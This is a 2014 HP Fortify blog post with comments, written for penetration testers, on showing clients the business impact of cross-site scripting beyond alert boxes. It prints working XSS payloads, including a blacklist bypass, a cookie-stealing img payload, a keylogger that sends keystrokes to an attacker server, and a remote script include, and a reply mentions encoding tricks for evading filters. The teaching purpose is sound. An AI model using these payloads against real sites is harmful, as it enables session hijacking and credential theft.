Protect Your Assets
Showing results for 
Search instead for 
Do you mean 

XSS--Beyond the Alert Box

DannyChrastil ‎05-28-2014 12:06 PM - edited ‎07-22-2015 01:24 PM

Cross site scripting (XSS) is everywhere. Holding the #3 spot on the OWASP Top 10 list, it is one of the most common findings while performing vulnerability assessments and penetration testing. With the rise of new web technologies, such as HTML5, the attack vector is constantly growing. Therefore, we also need to be advancing our detection techniques and how we are effectively communicating the business impacts to the client.


One of the most common techniques used as proof of concept (PoC) for identifying XSS has been the javascript alert box. The premise is this: if an attacker can send javascript code for an alert box into the application and have it executed within the browser, then XSS is present. For example:


The attacker modifies the user parameter to contain the javascript code for an alert box:<script>alert('XSS')</script>


The application then responds to the request with the unfiltered javascript code inserted within the HTML: 


<span>Welcome Danny<script>alert('XSS')</script>!</span>


Which would then result in the following alert box:


Screen Shot 2014-05-22 at 4.12.24 PM.png


The problem with this technique is not about its effectiveness, but rather that it doesn't communicate clearly the source of the issue or the possible business impacts. Consider this: if the client uses the PoC alone for remediation, they may attempt to fix their application by blacklisting both the <script> and alert strings. Does this protect them from XSS? Certainly not. Let's modify the attack to use an <img> tag and a confirm box instead:<img src=x onerror=confirm('XSS')>


The application then responds to the request with the filtered javascript code inserted within the HTML:


<span>Welcome Danny<img src=x onerror=confirm('XSS')>!</span>


Which would then result in the following confirm box:


Screen Shot 2014-05-22 at 10.36.04 PM.png



Unless the client had decided to retest the application, they would have assumed that the vulnerability had been remediated. The heart of the issue is not the alert box, but rather that the application had trusted user provided data to be processed without sanitization.


Let's look at the business impacts of XSS. Beside prompting for the user's interaction, the alert box itself doesn't pose a risk to the application. Also, based on the functionality and contents of the application being tested, the actual risk of XSS may vary greatly. With that said, there are many different attacks that go beyond the alert box in which the client should be made aware of. Here are few:


Session hijacking


A PoC could utilize XSS to steal session cookies for authenticated users and send them back to an attacker controlled server. Using our previous example and an attacker controlled server with the IP address of, it may look like this:<img src=x onerror=this.src=''+document.cookie>


The attacker would then check the logs on his server for the following request with the session cookie value:


Screen Shot 2014-05-22 at 11.25.18 PM.png


Recording keystrokes


If the session cookies are protected by the HttpOnly flag, then it would be effective to demonstrate a key-logger attack as the PoC. On a login page, the following javascript would collect each keystroke from the user and send it to the attacker controlled server:


var data = ''; 
document.onkeypress = function(e) { 
   var w = window.event ? event : e; 
   var keystroke = w.keyCode ? w.keyCode : w.charCode; 
   keystroke = String.fromCharCode(keystroke); 
   data = data + keystroke; 

   new Image().src='' + data; data = ''; 
}, 1500);


Because this code is larger than what we ideally would want to use in a GET request, the attacker could store the code in a file on his server and reference it using the <script src> attribute:<script src%3d''></script>


The attacker would then check the logs on his server and see the user's password sent over multiple requests: ThisIsMyPassword


Screen Shot 2014-05-22 at 11.52.56 PM.png


Page redirect


If the application does not support authentication, such as a brochure site, then the PoC could redirect the user to a page of the attacker's choosing. Some examples could be: 

  • Competitor's website
  • Installation page for a virus or backdoor
  • Fake login for a popular website 

The PoC for this type of attack would look like the following:<script>document.location='http://website'</script>


The application then responds to the request and would promptly redirect the user to the provided website:


<span>Welcome Danny<script>document.location='http://website'</script>!</span>


Web technologies will always be growing and changing, and in doing so will introduce new attack vectors along the way. If we are to provide valuable testing and awareness to clients, then we need to be going beyond the alert box. It is up to us to use whichever scenario best matches the application and communicates the business impact that would speak most to the client. The goal is to provide the information in a way which will best equip them to remediate the issue. While at the same time, what you are doing is demonstrating that you have an in-depth knowledge of the vulnerability and value of your service.


About HP Fortify On Demand


HP Fortify on Demand is a cloud-base Application Security solution. We perform multiple types of security testing, including advanced manual XSS detection.


If you have questions or comments reach out to us on Twitter @hpappsecurity or at fodsales(at)!

About the Author


hacker, developer, script junkie [python,ruby,php]

atul t
on ‎05-31-2014 09:28 AM
Hii as all we know that today's most websites have applied good filtering machanism to filter malicious input, despite of all these filters how we can test XSS bugs and generate PoC?
‎06-13-2014 01:57 PM - edited ‎06-13-2014 01:58 PM

There are many sites and frameworks that are effectively filtering XSS, however it is still one of the most common vulnerabilities we find during testing. Why is this? Because XSS is very difficult to completely mitigate. If a blacklist is being used, you can try different types of encoding and/or use of comments to bypass the blacklist filter.  Also, XSS seems to show up when a website is going through upgrades or active development. Whenever new sections are added to the site, they are prime suspects and should be tested thoroughly.


Also, there are new vectors for XSS showing up all the time. For instance, HTML5 has a very popular function that when used improperly can open a very unique XSS attack. I will be covering this in my next post!



27 Feb - 2 March 2017
Barcelona | Fira Gran Via
Mobile World Congress 2017
Hewlett Packard Enterprise at Mobile World Congress 2017, Barcelona | Fira Gran Via Location: Hall 3, Booth 3E11
Read more
Each Month in 2017
Software Expert Days - 2017
Join us online to talk directly with our Software experts during online Expert Days. Find information here about past, current, and upcoming Expert Da...
Read more
View all